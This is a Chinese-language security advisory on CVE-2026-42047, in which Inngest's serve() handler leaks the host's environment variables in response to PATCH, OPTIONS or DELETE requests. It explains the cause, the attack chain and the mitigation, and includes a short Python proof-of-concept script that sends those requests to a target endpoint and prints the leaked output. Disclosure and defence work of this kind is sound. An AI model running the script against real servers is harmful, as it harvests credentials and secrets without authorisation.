IPBUF安全漏洞报告
English
CVE-2026-42047 CVSS 8.6 高危

CVE-2026-42047 Inngest环境变量泄露漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-42047
漏洞类型
信息泄露
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Inngest (inngest-js)

相关标签

信息泄露环境变量泄露InngestCVE-2026-42047HTTP方法绕过未授权访问

漏洞概述

Inngest是一个用于运行事件驱动和计划后台函数的平台。在3.22.0至3.53.1版本中,该组件的`serve()` HTTP处理程序存在严重安全漏洞。未经身份验证的远程攻击者可利用PATCH、OPTIONS或DELETE等HTTP方法触发诊断信息响应,从而窃取主机进程的环境变量。由于变更导致该诊断响应包含了`process.env`的内容,攻击者可借此获取系统中的敏感密钥、API凭证等关键信息,对应用安全构成严重威胁。

技术细节

该漏洞的根本原因在于Inngest JavaScript库中`serve()`函数的HTTP请求路由实现机制。该函数仅显式处理了GET、POST和PUT这三种标准的API请求方法。然而,当服务器接收到PATCH、OPTIONS或DELETE等未显式定义的HTTP方法请求时,请求会穿透到默认的兜底处理逻辑。在受影响的版本(3.22.0至3.53.1)中,由于代码变更,该兜底逻辑被修改为返回详细的诊断调试信息,其中意外地包含了Node.js进程中所有的环境变量对象(`process.env`)。在常见的部署架构中,例如使用Next.js的Pages Router或Express中间件模式时,路由层通常会默认转发所有类型的HTTP方法到处理函数,除非进行了显式拦截。因此,攻击者无需经过任何身份验证,也无需用户交互,只需向暴露的Inngest服务端点发送一个PATCH、OPTIONS或DELETE请求,即可触发该逻辑。服务器响应将包含敏感的环境变量,如数据库连接字符串、第三方API密钥、云服务凭证等,从而导致严重的信息泄露事故。

攻击链分析

STEP 1
侦察
攻击者识别出目标应用程序使用了Inngest库,并确定了`serve()`端点的访问路径。
STEP 2
漏洞利用
攻击者向该端点发送非标准的HTTP方法请求(如PATCH、OPTIONS或DELETE),这些请求未被`serve()`显式处理。
STEP 3
信息获取
服务器端点返回包含`process.env`内容的诊断响应,攻击者从中提取敏感的环境变量和凭证。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL where the Inngest serve() handler is hosted # Example: http://localhost:3000/api/inngest target_url = "http://target-domain.com/api/inngest" # Vulnerable HTTP methods that trigger the diagnostic info leak vulnerable_methods = ["PATCH", "OPTIONS", "DELETE"] print(f"[*] Checking {target_url} for CVE-2026-42047...") for method in vulnerable_methods: try: # Send request with the specific method response = requests.request(method, target_url, timeout=5) if response.status_code == 200: print(f"[+] Method {method} returned a response:") print(response.text[:500]) # Print part of the response to check for env vars print("---") else: print(f"[-] Method {method} returned status: {response.status_code}") except Exception as e: print(f"[!] Error with method {method}: {e}")

影响范围

Inngest 3.22.0 - 3.53.1

防御指南

临时缓解措施
如果无法立即升级版本,应在应用服务器前端的反向代理(如Nginx、Apache)或应用框架路由层(如Express中间件、Next.js配置)实施严格的HTTP方法过滤。务必拦截PATCH、OPTIONS和DELETE请求,确保仅允许必要的GET、POST和PUT流量到达Inngest的`serve()`处理程序,从而防止环境变量泄露。

参考链接